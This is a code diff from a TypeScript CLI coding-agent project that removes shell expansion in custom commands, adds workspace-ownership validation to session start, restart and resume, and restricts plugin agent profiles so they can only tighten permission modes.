-} from "@zcode/contracts";
-import {
-  loadZCodeCustomCommand,
-  type ListZCodeCustomCommandsOptions,
-} from "./custom-commands.js";
-import { expandCustomCommandShellSyntax } from "./custom-command-shell-expansion.js";
+import { expandCustomCommandPrompt } from "@zcode/contracts";
+import { loadZCodeCustomCommand, type ListZCodeCustomCommandsOptions } from "./custom-commands.js";
 import { isReservedZCodeSlashCommandName } from "./slash-command-surface.js";
 
 const CUSTOM_COMMAND_NOT_FOUND_PATTERN = /not found/i;
 const PROMPT_CUSTOM_COMMAND_PATTERN = /^\/([^\s]+)(?:\s+([\s\S]*))?$/;
 
-export interface ResolveZCodeCustomCommandPromptOptions extends ListZCodeCustomCommandsOptions {
-  executionPort?: ExecutionPort;
-  sessionId?: SessionId;
-  signal?: AbortSignal;
-  traceContext?: TraceContext;
-}
-
 export async function resolveZCodeCustomCommandPrompt(
   input: string,
-  options: ResolveZCodeCustomCommandPromptOptions = {},
+  options: ListZCodeCustomCommandsOptions = {},
 ): Promise<string | undefined> {
   const invocation = parsePromptCustomCommandInvocation(input);
   // 保留名(含内置 `workflow`)在这里直接返回 undefined,与「命令不存在」同形:内置命令由
@@ -39,34 +21,7 @@ export async function resolveZCodeCustomCommandPrompt(
       ...options,
       name: invocation.name,
     });
-    if (options.executionPort) {
-      // 调用 slash command 时先执行并替换输出,避免 unsupported error
-      // 在 turn 创建前抛出后让 UI 长时间停在“正在思考”。
-      //
-      // 复用 contracts 的底层 template/format 函数,而非 expandCustomCommandPrompt:
-      // 后者内部 detectUnsupportedDynamicSyntax 会对 `!` 语法直接抛错,而本路径
-      // 恰恰要支持 shell 展开,只能在 expandCustomCommandTemplate 与
-      // formatCustomCommandPrompt 之间插入 expandCustomCommandShellSyntax。
-      const expanded = expandCustomCommandTemplate({
-        args: invocation.args,
-        command,
-      });
-      const body = await expandCustomCommandShellSyntax({
-        command,
-        content: expanded.body,
-        executionPort: options.executionPort,
-        sessionId: options.sessionId,
-        signal: options.signal,
-        traceContext: options.traceContext,
-        workingDirectory: options.workingDirectory ?? process.cwd(),
-      });
-      return formatCustomCommandPrompt({
-        argumentCount: expanded.argumentCount,
-        body,
-        command,
-        usedArgumentsPlaceholder: expanded.usedArgumentsPlaceholder,
-      }).prompt;
-    }
+    // 解析只改写文本:`!` 块交给模型经 Bash 工具执行,见 contracts 的 handOffCustomCommandShellBlocks。
     return expandCustomCommandPrompt({
       args: invocation.args,
       command,

+ 0 - 255
apps/zcode-cli/packages/bootstrap/src/custom-command-shell-expansion.ts

@@ -1,255 +0,0 @@
-import { basename, dirname } from "node:path";
-import {
-  type CustomCommandContent,
-  type HookPluginContext,
-  type ExecutionPort,
-  type ExecutionResult,
-  type TraceContext,
-} from "@zcode/contracts";
-
-const DEFAULT_SHELL_EXPANSION_TIMEOUT_MS = 30_000;
-const DEFAULT_SHELL_EXPANSION_OUTPUT_BYTES = 128 * 1024;
-
-const INLINE_SHELL_PATTERN = /!`([^`]*)`/gu;
-const FENCED_SHELL_PATTERN = /```!\s*\r?\n?([\s\S]*?)```/gu;
-const SHELL_CONTEXT_VARIABLE_PATTERN =
-  /\$\{(CLAUDE_CODE_SESSION_ID|CLAUDE_PLUGIN_DATA|CLAUDE_PLUGIN_ROOT|CLAUDE_PROJECT_DIR|CLAUDE_SESSION_ID|CLAUDE_SKILL_DIR|ZCODE_PLUGIN_DATA|ZCODE_PLUGIN_ROOT|ZCODE_PROJECT_DIR|ZCODE_SESSION_ID|ZCODE_SKILL_DIR)\}/gu;
-
-interface ShellExpansionMatch {
-  command: string;
-  end: number;
-  start: number;
-  type: "fenced" | "inline";
-}
-
-export async function expandCustomCommandShellSyntax(input: {
-  command: CustomCommandContent;
-  content: string;
-  executionPort: ExecutionPort;
-  sessionId?: string;
-  signal?: AbortSignal;
-  traceContext?: TraceContext;
-  workingDirectory: string;
-}): Promise<string> {
-  let cursor = 0;
-  let output = "";
-
-  for (const match of collectShellExpansionMatches(input.content)) {
-    output += input.content.slice(cursor, match.start);
-    output += await runShellExpansion({
-      ...input,
-      shellCommand: match.command,
-      type: match.type,
-    });
-    cursor = match.end;
-  }
-
-  output += input.content.slice(cursor);
-  return output;
-}
-
-function collectShellExpansionMatches(content: string): ShellExpansionMatch[] {
-  const matches: ShellExpansionMatch[] = [];
-  let cursor = 0;
-
-  while (cursor < content.length) {
-    INLINE_SHELL_PATTERN.lastIndex = cursor;
-    FENCED_SHELL_PATTERN.lastIndex = cursor;
-
-    const inline = INLINE_SHELL_PATTERN.exec(content);
-    const fenced = FENCED_SHELL_PATTERN.exec(content);
-    const next = pickNextMatch(inline, fenced);
-    if (!next) break;
-
-    matches.push(next);
-    cursor = next.end;
-  }
-
-  INLINE_SHELL_PATTERN.lastIndex = 0;
-  FENCED_SHELL_PATTERN.lastIndex = 0;
-  return matches;
-}
-
-function pickNextMatch(
-  inline: RegExpExecArray | null,
-  fenced: RegExpExecArray | null,
-): ShellExpansionMatch | null {
-  if (!inline && !fenced) return null;
-  if (fenced && (!inline || fenced.index <= inline.index)) {
-    return {
-      command: normalizeFencedShellCommand(fenced[1] ?? ""),
-      end: fenced.index + fenced[0].length,
-      start: fenced.index,
-      type: "fenced",
-    };
-  }
-  if (!inline) return null;
-  return {
-    command: (inline[1] ?? "").trim(),
-    end: inline.index + inline[0].length,
-    start: inline.index,
-    type: "inline",
-  };
-}
-
-function normalizeFencedShellCommand(command: string): string {
-  return command.replace(/^\r?\n/u, "").replace(/\r?\n$/u, "").trim();
-}
-
-async function runShellExpansion(input: {
-  command: CustomCommandContent;
-  env?: NodeJS.ProcessEnv;
-  executionPort: ExecutionPort;
-  sessionId?: string;
-  shellCommand: string;
-  signal?: AbortSignal;
-  traceContext?: TraceContext;
-  type: "fenced" | "inline";
-  workingDirectory: string;
-}): Promise<string> {
-  if (input.shellCommand.length === 0) return "";
-  const plugin = input.command.metadata.plugin ?? inferPluginContext(input.command);
-  assertShellExpansionContextAvailable({
-    command: input.command,
-    plugin,
-    sessionId: input.sessionId,
-    shellCommand: input.shellCommand,
-  });
-
-  const result = await input.executionPort.run(
-    {
-      command: {
-        mode: "shell",
-        command: input.shellCommand,
-      },
-      cwd: input.workingDirectory,
-      env: createShellExpansionEnv({
-        plugin,
-        sessionId: input.sessionId,
-        workingDirectory: input.workingDirectory,
-      }),
-      outputLimit: {
-        maxBufferBytes: DEFAULT_SHELL_EXPANSION_OUTPUT_BYTES,
-        maxInlineBytes: DEFAULT_SHELL_EXPANSION_OUTPUT_BYTES,
-        persistOutput: "none",
-      },
-      timeoutMs: DEFAULT_SHELL_EXPANSION_TIMEOUT_MS,
-      ...(input.traceContext
-        ? {
-            trace: {
-              ...input.traceContext,
-              attributes: {
-                ...input.traceContext.attributes,
-                customCommandName: input.command.metadata.name,
-                customCommandShellExpansion: input.type,
-              },
-            },
-          }
-        : {}),
-    },
-    { signal: input.signal },
-  );
-
-  if (result.status === "completed" && (result.exitCode ?? 0) === 0) {
-    return result.stdout.text.trimEnd();
-  }
-
-  throw new Error(formatShellExpansionError(input.command, input.shellCommand, result));
-}
-
-function createShellExpansionEnv(input: {
-  plugin: HookPluginContext | undefined;
-  sessionId: string | undefined;
-  workingDirectory: string;
-}) {
-  const set: Record<string, string> = {};
-  set.CLAUDE_PROJECT_DIR = input.workingDirectory;
-  set.ZCODE_PROJECT_DIR = input.workingDirectory;
-  if (input.sessionId) {
-    set.CLAUDE_CODE_SESSION_ID = input.sessionId;
-    set.CLAUDE_SESSION_ID = input.sessionId;
-    set.ZCODE_SESSION_ID = input.sessionId;
-  }
-  if (input.plugin) {
-    set.CLAUDE_PLUGIN_DATA = input.plugin.dataPath;
-    set.CLAUDE_PLUGIN_ROOT = input.plugin.rootPath;
-    set.ZCODE_PLUGIN_DATA = input.plugin.dataPath;
-    set.ZCODE_PLUGIN_ID = input.plugin.id;
-    set.ZCODE_PLUGIN_NAME = input.plugin.name;
-    set.ZCODE_PLUGIN_ROOT = input.plugin.rootPath;
-  }
-  return Object.keys(set).length > 0 ? { set } : undefined;
-}
-
-function assertShellExpansionContextAvailable(input: {
-  command: CustomCommandContent;
-  plugin: HookPluginContext | undefined;
-  sessionId: string | undefined;
-  shellCommand: string;
-}): void {
-  for (const match of input.shellCommand.matchAll(SHELL_CONTEXT_VARIABLE_PATTERN)) {
-    const name = match[1];
-    if (!name) continue;
-    if (name === "CLAUDE_SKILL_DIR" || name === "ZCODE_SKILL_DIR") {
-      throw new Error(
-        `Custom command /${input.command.metadata.name} variable requires a skill context: ${name}`,
-      );
-    }
-    if (
-      !input.sessionId &&
-      (name === "CLAUDE_CODE_SESSION_ID" ||
-        name === "CLAUDE_SESSION_ID" ||
-        name === "ZCODE_SESSION_ID")
-    ) {
-      throw new Error(
-        `Custom command /${input.command.metadata.name} variable requires a runtime session context: ${name}`,
-      );
-    }
-    if (
-      !input.plugin &&
-      (name === "CLAUDE_PLUGIN_DATA" ||
-        name === "CLAUDE_PLUGIN_ROOT" ||
-        name === "ZCODE_PLUGIN_DATA" ||
-        name === "ZCODE_PLUGIN_ROOT")
-    ) {
-      throw new Error(
-        `Custom command /${input.command.metadata.name} variable requires a plugin context: ${name}`,
-      );
-    }
-  }
-  SHELL_CONTEXT_VARIABLE_PATTERN.lastIndex = 0;
-}
-
-function inferPluginContext(command: CustomCommandContent): HookPluginContext | undefined {
-  if (command.metadata.source !== "plugin") return undefined;
-  if (basename(command.metadata.rootPath) !== "commands") return undefined;
-  const rootPath = dirname(command.metadata.rootPath);
-  return {
-    dataPath: rootPath,
-    id: basename(rootPath),
-    name: basename(rootPath),
-    rootPath,
-  };
-}
-
-function formatShellExpansionError(
-  command: CustomCommandContent,
-  shellCommand: string,
-  result: ExecutionResult,
-): string {
-  const details =
-    result.error?.message ||
-    trimPreview(result.stderr.text) ||
-    trimPreview(result.stdout.text) ||
-    `status=${result.status}`;
-  return [
-    `Custom command /${command.metadata.name} shell expansion failed.`,
-    `Command: ${shellCommand}`,
-    `Exit: ${result.exitCode ?? result.status}`,
-    `Details: ${details}`,
-  ].join("\n");
-}
-
-function trimPreview(value: string): string {
-  return value.trim().slice(0, 2_000);
-}

+ 12 - 0
apps/zcode-cli/packages/bootstrap/src/session-execution/CONTRACT.md

@@ -11,3 +11,15 @@ session record 始终是 residencyFinalizationCount 的唯一 owner;租约不
 不创建队列、缓存、定时器或第二份会话状态。同步异常与异步失败均保留原错误。
 
 主动重启先取消执行,然后通过 `waitForSessionResidencyFinalization` 等待原 record 的租约归零。等待者只观察原计数,不拥有第二份生命周期状态,也不通过超时判断安全释放。
+
+## 当前任务完全访问
+
+Core 的 `grantPermissionFullAccess` 是任务授权入口,runtime 独占权限、授权事件和固定的目标队列。Bootstrap broker 只转交当前 session 的 interaction 并等待投影提交,不另存权限。
+
+草稿没有 session 父行时,仅更新内存与发布授权事件;首发按当前配置保存。若外部活动已开始持久化,授权等待同一在途 Promise 后再判断路径。正式会话保留 execution/receipt 原子事务;重复审批复用原事件,不扩大目标、不覆盖后续用户选择。取消或持久化失败不发布成功;发布失败保留原授权供重试。
+
+```text
+审批 → runtime → 等待已有持久化 → 草稿内存 / 正式事务 → 授权事件 → 原投影提交
+```
+
+入口保留在 Core,复用原 runtime 内部依赖,不经 Bootstrap facade 引入反向依赖。回归见 `core/tests/permission-full-access.test.ts` 与 `bootstrap/tests/draft-permission-full-access.test.ts`。

+ 5 - 1
apps/zcode-cli/packages/bootstrap/src/session-execution/module.ts

@@ -6,5 +6,9 @@ export const cliSessionExecutionModule = {
   id: "cli-session-execution",
   requires: ["shared", "zcode-cli"],
   provides: ["cli-session-execution"],
-  publicEntrypoints: ["index.ts", "contract.ts"],
+  publicEntrypoints: [
+    "index.ts",
+    "contract.ts",
+    "../../../core/src/runtime/permission-full-access.ts",
+  ],
 } as const;

+ 6 - 0
apps/zcode-cli/packages/bootstrap/src/session-lifecycle/CONTRACT.md

@@ -9,3 +9,9 @@ initialize/dispose 是装配层迁移已有创建、分叉和释放入口的内
 调用方保留 operation lease,保证初始化完成后的业务命令不被容量回收抢占。
 
 faulted 隔离当前实例;后续调用不能再次初始化或盲目重试释放。进程重建是上层出口。
+
+启动输入带可选 workspace,flight 固定该上下文;Host 校验发生在 restart 释放前。
+close Promise 表达真实完成,等待超时由调用方管理。状态与接口的升级兼容见主规格。
+
+所有内部初始化入口登记 workspace;仅新建入口使用 create 模式,跳过尚无持久记录的恢复校验。
+旧无上下文启动的加入者仍在完成后验证归属,不以共享结果替代校验。

+ 6 - 5
apps/zcode-cli/packages/bootstrap/src/session-lifecycle/contract.ts

@@ -1,4 +1,4 @@
-import type { SessionLifecycleSnapshot } from "@zcode/shared";
+import type { SessionLifecycleSnapshot, ZCodeWorkspaceRef } from "@zcode/shared";
 export type {
   SessionLifecycleState,
   SessionLifecycleOperation,
@@ -11,18 +11,19 @@ export interface SessionLifecycle {
   /** 只读;缺失或删除的 session 报错,不隐式启动。 */
   getState(sessionId: string): Promise<SessionLifecycleSnapshot>;
   /** 幂等恢复已有会话;完成时实例 ready,不提供长期保活租约。 */
-  ensureReady(sessionId: string): Promise<void>;
+  ensureReady(sessionId: string, workspace?: ZCodeWorkspaceRef): Promise<void>;
   /** 幂等释放;预检拒绝无副作用,完成时 unloaded。 */
   stop(sessionId: string): Promise<void>;
   /** 原子占有整个 stop → ensureReady;完成时 ready。 */
-  restart(sessionId: string): Promise<void>;
+  restart(sessionId: string, workspace?: ZCodeWorkspaceRef): Promise<void>;
 }
 
-/** 生命周期副作用由宿主注入;预检必须同步且无副作用。 */
+/** 生命周期副作用由宿主注入;停止预检同步,激活预检可异步读取但不得修改归属。 */
 export interface SessionLifecycleHost {
   exists(sessionId: string): Promise<boolean>;
   hasRuntime(sessionId: string): boolean;
-  activate(sessionId: string): Promise<void>;
+  validateActivation(sessionId: string, workspace?: ZCodeWorkspaceRef): Promise<void>;
+  activate(sessionId: string, workspace?: ZCodeWorkspaceRef): Promise<void>;
   assertCanStop(sessionId: string): void;
   release(sessionId: string, initializationFailed?: boolean): Promise<void>;
   onChange?(snapshot: SessionLifecycleSnapshot): void;

+ 105 - 27
apps/zcode-cli/packages/bootstrap/src/session-lifecycle/controller.ts

@@ -1,3 +1,4 @@
+import type { ZCodeWorkspaceRef } from "@zcode/shared";
 import {
   SessionLifecycleError,
   type SessionLifecycle,
@@ -9,7 +10,12 @@ import {
 
 interface Entry {
   snapshot: SessionLifecycleSnapshot;
-  flight?: { operation: SessionLifecycleOperation; promise: Promise<void> };
+  flight?: {
+    operation: SessionLifecycleOperation;
+    promise: Promise<void>;
+    workspace?: ZCodeWorkspaceRef;
+  };
+  restartWorkspace?: ZCodeWorkspaceRef;
   restartAfterStartup?: Promise<void>;
 }
 
@@ -38,28 +44,51 @@ export class SessionLifecycleController implements SessionLifecycle {
     return { ...snapshot, lastError: snapshot.lastError ? { ...snapshot.lastError } : null };
   }
 
-  ensureReady(sessionId: string): Promise<void> {
+  ensureReady(sessionId: string, workspace?: ZCodeWorkspaceRef): Promise<void> {
     const entry = this.entry(sessionId);
-    if (entry.restartAfterStartup) return entry.restartAfterStartup;
-    if (!entry.flight && entry.snapshot.state === "ready") {
-      return this.run(sessionId, "ensureReady", () => this.assertExists(sessionId));
+    const conflict = this.workspaceConflict(entry, workspace);
+    if (conflict) return Promise.reject(conflict);
+    if (entry.restartAfterStartup)
+      return this.join(sessionId, entry.restartAfterStartup, entry.restartWorkspace, workspace);
+    if (entry.flight?.operation === "stop") {
+      return entry.flight.promise.then(() => this.ensureReady(sessionId, workspace));
     }
-    return this.initialize(sessionId, async () => {
-      await this.assertExists(sessionId);
-      await this.host.activate(sessionId);
-    });
+    return this.run(
+      sessionId,
+      "ensureReady",
+      async () => {
+        await this.assertExists(sessionId);
+        await this.host.validateActivation(sessionId, workspace);
+        if (entry.snapshot.state !== "ready")
+          await this.activate(sessionId, () => this.host.activate(sessionId, workspace));
+      },
+      workspace,
+    );
   }
 
   /** 产品 create/fork/resume 的内部装配入口;调用方负责其存在性规则。 */
-  initialize(sessionId: string, activate: () => Promise<void>): Promise<void> {
+  initialize(
+    sessionId: string,
+    activate: () => Promise<void>,
+    workspace?: ZCodeWorkspaceRef,
+    kind: "create" | "restore" = "restore",
+  ): Promise<void> {
     const entry = this.entry(sessionId);
     if (entry.flight?.operation === "stop") {
-      return entry.flight.promise.then(() => this.initialize(sessionId, activate));
+      return entry.flight.promise.then(() => this.initialize(sessionId, activate, workspace, kind));
     }
-    return this.run(sessionId, "ensureReady", async () => {
-      if (entry.snapshot.state === "ready") return;
-      await this.activate(sessionId, activate);
-    });
+    return this.run(
+      sessionId,
+      "ensureReady",
+      async () => {
+        // 新建入口已占用不存在的 ID;不能用恢复校验查询尚未落盘的会话。
+        if (workspace && kind === "restore")
+          await this.host.validateActivation(sessionId, workspace);
+        if (entry.snapshot.state === "ready") return;
+        await this.activate(sessionId, activate);
+      },
+      workspace,
+    );
   }
 
   stop(sessionId: string): Promise<void> {
@@ -70,25 +99,36 @@ export class SessionLifecycleController implements SessionLifecycle {
     });
   }
 
-  restart(sessionId: string): Promise<void> {
+  restart(sessionId: string, workspace?: ZCodeWorkspaceRef): Promise<void> {
     const entry = this.entry(sessionId);
-    if (entry.restartAfterStartup) return entry.restartAfterStartup;
+    const conflict = this.workspaceConflict(entry, workspace);
+    if (conflict) return Promise.reject(conflict);
+    if (entry.restartAfterStartup)
+      return this.join(sessionId, entry.restartAfterStartup, entry.restartWorkspace, workspace);
     if (entry.flight?.operation === "ensureReady") {
       // 初始化尚未支持硬取消时等待其安全收口;同时关闭 ready 准入,不能并行创建实例。
       const afterStartup = () => {
         entry.restartAfterStartup = undefined;
-        return this.restart(sessionId);
+        entry.restartWorkspace = undefined;
+        return this.restart(sessionId, workspace);
       };
+      entry.restartWorkspace = workspace;
       entry.restartAfterStartup = entry.flight.promise.then(afterStartup, afterStartup);
       return entry.restartAfterStartup;
     }
-    return this.run(sessionId, "restart", async () => {
-      await this.assertExists(sessionId);
-      this.host.assertCanStop(sessionId);
-      // history-first 可以只有 publisher 没有实例;重启仍必须完整失效旧发布链路。
-      await this.release(sessionId, () => this.host.release(sessionId));
-      await this.activate(sessionId, () => this.host.activate(sessionId));
-    });
+    return this.run(
+      sessionId,
+      "restart",
+      async () => {
+        await this.assertExists(sessionId);
+        await this.host.validateActivation(sessionId, workspace);
+        this.host.assertCanStop(sessionId);
+        // history-first 可以只有 publisher 没有实例;重启仍必须完整失效旧发布链路。
+        await this.release(sessionId, () => this.host.release(sessionId));
+        await this.activate(sessionId, () => this.host.activate(sessionId, workspace));
+      },
+      workspace,
+    );
   }
 
   /** 已有关闭/删除/进程退出策略使用的内部入口;策略预检必须先由调用方完成。 */
@@ -103,8 +143,11 @@ export class SessionLifecycleController implements SessionLifecycle {
     sessionId: string,
     operation: SessionLifecycleOperation,
     work: () => Promise<void>,
+    workspace?: ZCodeWorkspaceRef,
   ): Promise<void> {
     const entry = this.entry(sessionId);
+    const conflict = this.workspaceConflict(entry, workspace);
+    if (conflict) return Promise.reject(conflict);
     // 重启等待旧启动时已保留操作资格;旧启动的先注册回调不能抢先 stop。
     if (entry.restartAfterStartup && operation === "stop") {
       return Promise.reject(
@@ -116,7 +159,7 @@ export class SessionLifecycleController implements SessionLifecycle {
         entry.flight.operation === operation ||
         (operation === "ensureReady" && entry.flight.operation === "restart")
       ) {
-        return entry.flight.promise;
+        return this.join(sessionId, entry.flight.promise, entry.flight.workspace, workspace);
       }
       return Promise.reject(
         new SessionLifecycleError(
@@ -134,7 +177,7 @@ export class SessionLifecycleController implements SessionLifecycle {
       );
     }
     const deferred = Promise.withResolvers<void>();
-    const flight = { operation, promise: deferred.promise };
+    const flight = { operation, promise: deferred.promise, workspace };
     // 先登记,再调用宿主:同步重入和 restart 的 unloaded 间隙不能抢占此操作。
     entry.flight = flight;
     entry.snapshot.lastError = null;
@@ -163,6 +206,41 @@ export class SessionLifecycleController implements SessionLifecycle {
     return deferred.promise;
   }
 
+  private join(
+    sessionId: string,
+    promise: Promise<void>,
+    ownerWorkspace?: ZCodeWorkspaceRef,
+    workspace?: ZCodeWorkspaceRef,
+  ): Promise<void> {
+    // 旧入口没有登记归属时,共享启动不能替代加入者的校验;等创建落盘后验证,不再激活。
+    return workspace && !ownerWorkspace
+      ? promise.then(() => this.host.validateActivation(sessionId, workspace))
+      : promise;
+  }
+
+  private workspaceConflict(
+    entry: Entry,
+    workspace?: ZCodeWorkspaceRef,
+  ): SessionLifecycleError | undefined {
+    // 启动与排队重启的归属都必须匹配,后登记的请求不能遮蔽原启动的身份。
+    if (
+      workspace &&
+      [entry.flight?.workspace, entry.restartWorkspace].some(
+        (active) =>
+          active &&
+          (workspace.workspaceKey !== active.workspaceKey ||
+            workspace.workspacePath !== active.workspacePath ||
+            workspace.workspaceIdentity !== active.workspaceIdentity ||
+            workspace.remoteSessionId !== active.remoteSessionId),
+      )
+    )
+      return new SessionLifecycleError(
+        "conflict",
+        "Session activation workspace conflicts with the current operation",
+      );
+    return undefined;
+  }
+
   private async activate(sessionId: string, activate: () => Promise<void>): Promise<void> {
     this.entry(sessionId).snapshot.generation += 1;
     this.transition(sessionId, "starting");

+ 3 - 1
apps/zcode-cli/packages/bootstrap/src/subagents.ts

@@ -212,7 +212,9 @@ function parsePluginAgentProfile(input: {
       parsed: {
         bareName: result.profile.name,
         plugin: input.plugin,
-        profile: result.profile,
+        // 修复原因:插件 profile 按 user 解析,permissionMode 原样生效;bypassPermissions 会让
+        // 被委派的子会话在父会话 build 时以 yolo 运行。官方与第三方插件同一规则:声明只能收紧父会话模式。
+        profile: { ...result.profile, permissionModeRestrictOnly: true },
       },
     };
   } catch (error) {

+ 5 - 2
apps/zcode-cli/packages/bootstrap/src/zcode-protocol-v4/v4-gateway.ts

@@ -3114,11 +3114,14 @@ export class ConversationV4Gateway {
    * 生命周期 owner 只复用历史结果,直接执行实例激活;不能等待投影的激活回调。
    * 旧实现复用 opening 时丢弃新回调,ensureReady 因而永远等不到 activated。
    */
-  async prepareSessionHistory(sessionId: string): Promise<MessageWithParts[]> {
+  async prepareSessionHistory(
+    sessionId: string,
+    workspace?: ZCodeWorkspaceRef,
+  ): Promise<MessageWithParts[]> {
     const history = this.ensureHistoryReadyPublisher(
       sessionId,
       undefined,
-      undefined,
+      workspace,
       undefined,
       this.publishers.get(sessionId)?.getSnapshot().runtimeInitialization?.attemptId,
     );

+ 2 - 0
apps/zcode-cli/packages/bootstrap/src/zcode-protocol/mcp-ui/CONTRACT.md

@@ -2,6 +2,8 @@
 
 Agent 侧 MCP Apps 身份、授权、调用和通知入口;通过 McpUiSessionAccess 窄接口使用 session。
 
+- deferred 草稿可使用相同 MCP App 能力。V4 删除会话须在关闭 app 和移除 session 注册前取消 UI 调用并撤销该 session 的实例与 App tools,并等待 session 级资源退订完成;共享连接的其他 session 不受影响。
+
 - server 必须存在于当前会话的可信 MCP 配置,不猜测名称。连接 port 提供规范化来源身份与现有连接 generation;资源读取前后、请求执行前和审批后均验证。
 - 首次 open 等待目标 server 已有连接任务,再核对原 session、lease 和连接身份;不等待全部 MCP、不主动重连。同步凭证校验仍立即拒绝失效来源,等待完成不能复活已释放 owner。
 - McpUiInstances 是运行凭证唯一 owner:Agent runtimeId、单调 generation、不可猜 token、稳定 appIdentity。绑定 workspace identity/session/plugin/server/resource/scope/owner 和 Host 提供的已知账号上下文。同逻辑页面同连接的并发 open 幂等。

+ 85 - 22
apps/zcode-cli/packages/bootstrap/src/zcode-protocol/server-operations.ts

@@ -1,3 +1,4 @@
+import { isAbsolute, resolve } from "node:path";
 import {
   isAuxiliarySessionKind,
   isReadonlyAgentSessionKind,
@@ -1289,9 +1290,14 @@ async function createSessionWithProjection<T>(
     if (await context.deps.sessionStore?.getSession(sessionId))
       throw new ProtocolRequestError(-32602, "sessionId already exists");
     let result!: T;
-    await getSessionLifecycle(context).initialize(sessionId, async () => {
-      result = await materializeCreatedSession(context, { ...params, sessionId }, trace, project);
-    });
+    await getSessionLifecycle(context).initialize(
+      sessionId,
+      async () => {
+        result = await materializeCreatedSession(context, { ...params, sessionId }, trace, project);
+      },
+      params.workspace,
+      "create",
+    );
     return result;
   } finally {
     claims.delete(sessionId);
@@ -1466,9 +1472,13 @@ export async function activateSessionForResume(
   options: { reusePersistedMessages?: boolean; persistedMessages?: MessageWithParts[] } = {},
 ): Promise<ActivatedSessionForResume> {
   let activated: ActivatedSessionForResume | undefined;
-  await getSessionLifecycle(context).initialize(params.sessionId, async () => {
-    activated = await activateSessionRuntime(context, params, options);
-  });
+  await getSessionLifecycle(context).initialize(
+    params.sessionId,
+    async () => {
+      activated = await activateSessionRuntime(context, params, options);
+    },
+    params.workspace,
+  );
   const record = activated?.record ?? context.sessions.get(params.sessionId);
   if (!record) throw new Error("Session runtime unavailable after initialization");
   return activated ?? { record };
@@ -1593,13 +1603,10 @@ async function repairLegacyRemoteSessionWorkspaceForResume(
   context: ZCodeProtocolAgentServerContext,
   session: SessionInfo,
 ): Promise<SessionInfo> {
-  if (session.workspaceID || !context.deps.sessionStore?.repairLegacyRemoteSessionWorkspace) {
+  const legacyRemote = resolveLegacyRemoteSessionWorkspace(context, session);
+  if (!legacyRemote || !context.deps.sessionStore?.repairLegacyRemoteSessionWorkspace)
     return session;
-  }
   const legacyWorkspaceDirectory = session.path ?? session.directory;
-  if (session.directory !== legacyWorkspaceDirectory) return session;
-  const legacyRemote = resolveLegacyRemoteWorkspace(context, legacyWorkspaceDirectory);
-  if (!legacyRemote) return session;
 
   const repaired = await context.deps.sessionStore.repairLegacyRemoteSessionWorkspace({
     sessionID: session.id,
@@ -1654,6 +1661,17 @@ async function repairLegacyRemoteSessionWorkspaceForResume(
   return refreshed;
 }
 
+/** 预检与原子修复共享精确识别规则;识别本身只读,不能提前改写历史。 */
+function resolveLegacyRemoteSessionWorkspace(
+  context: ZCodeProtocolAgentServerContext,
+  session: SessionInfo,
+) {
+  const directory = session.path ?? session.directory;
+  return !session.workspaceID && session.directory === directory
+    ? resolveLegacyRemoteWorkspace(context, directory)
+    : null;
+}
+
 function resolveLegacyRemoteWorkspace(
   context: ZCodeProtocolAgentServerContext,
   legacyWorkspaceDirectory: string,
@@ -1697,19 +1715,60 @@ async function resolvePersistedDirectorySession(
   let current: SessionInfo | null = session;
   while (current && current.time.deleted === undefined && !visited.has(current.id)) {
     visited.add(current.id);
-    const path = current.path || current.directory;
-    const key = current.workspaceID?.trim() || path;
-    if (path !== workspace.workspacePath) return null;
+    // 旧 WSL 记录必须先按原修复规则解释归属,否则新增预检会挡住本来可恢复的数据。
+    const legacy = resolveLegacyRemoteSessionWorkspace(context, current);
+    const identity = current.workspaceID?.trim() || legacy?.workspaceIdentity;
+    const path = legacy?.workspacePath ?? (current.path || current.directory);
+    const key = identity || path;
     const auxiliary = isAuxiliarySessionKind(current.taskType);
-    if (key === expectedKey && (!resolveOwner || !auxiliary)) return current;
-    // 历史 child 可缺少 identity,但只能由同 cwd 的持久化父链证明归属。
-    // 已有显式外部身份、缺失或成环父链不能按目录猜项目,也不能启动父 runtime。
-    if (!auxiliary || !current.parentID || (key !== expectedKey && key !== path)) return null;
+    // 旧 root 曾保存规范化 cwd;只在目标 OS 的绝对路径词法等价时兼容,绝不重写身份 key。
+    const samePath =
+      path === workspace.workspacePath ||
+      (isAbsolute(path) &&
+        isAbsolute(workspace.workspacePath) &&
+        resolve(path) === resolve(workspace.workspacePath));
+    const sameIdentity =
+      key === expectedKey || (!identity && !workspace.workspaceIdentity?.trim() && samePath);
+    if (samePath && sameIdentity && (!resolveOwner || !auxiliary)) return current;
+    // 历史 child 的执行 cwd 不能否定完整父链;显式身份、缺父、删除、环仍不能跨归属。
+    if (!auxiliary || !current.parentID || (identity && (!sameIdentity || !samePath))) return null;
     current = (await context.deps.sessionStore?.getSession(current.parentID)) ?? null;
   }
   return null;
 }
 
+/** 激活前验证既有会话归属;restart 必须在释放旧实例之前调用。 */
+export async function validateSessionActivationWorkspace(
+  context: ZCodeProtocolAgentServerContext,
+  sessionId: string,
+  workspace?: ZCodeWorkspaceRef,
+): Promise<void> {
+  if (!workspace) return; // 旧协议调用仍由持久记录提供上下文。
+  const active = context.sessions.get(sessionId);
+  if (active) {
+    // key 相同不保证显式 identity 相同;与在途操作一样逐字段校验,避免错误请求关闭原实例。
+    if (
+      active.workspace.workspaceKey !== workspace.workspaceKey ||
+      active.workspace.workspacePath !== workspace.workspacePath ||
+      active.workspace.workspaceIdentity !== workspace.workspaceIdentity ||
+      active.workspace.remoteSessionId !== workspace.remoteSessionId
+    )
+      throw new Error("project.session-lineage-invalid");
+    return;
+  }
+  const session = await getPersistedSession(context, sessionId);
+  if (
+    !session ||
+    !(await resolvePersistedDirectorySession(
+      context,
+      session,
+      workspace,
+      context.sessionDirectorySourceEnabled === true,
+    ))
+  )
+    throw new Error("project.session-lineage-invalid");
+}
+
 export async function listSessions(context: ZCodeProtocolAgentServerContext, rawParams: unknown) {
   const params = parseParams(zcodeSessionListParamsSchema, rawParams ?? {});
   const store = context.deps.sessionStore;
@@ -2363,11 +2422,15 @@ export async function forkSession(context: ZCodeProtocolAgentServerContext, rawP
 export async function registerForkedSession(
   ...args: Parameters<typeof registerForkedSessionRuntime>
 ) {
-  const [context, , fork] = args;
+  const [context, record, fork] = args;
   let result: Awaited<ReturnType<typeof registerForkedSessionRuntime>> | undefined;
-  await getSessionLifecycle(context).initialize(fork.forkedSessionId, async () => {
-    result = await registerForkedSessionRuntime(...args);
-  });
+  await getSessionLifecycle(context).initialize(
+    fork.forkedSessionId,
+    async () => {
+      result = await registerForkedSessionRuntime(...args);
+    },
+    record.workspace,
+  );
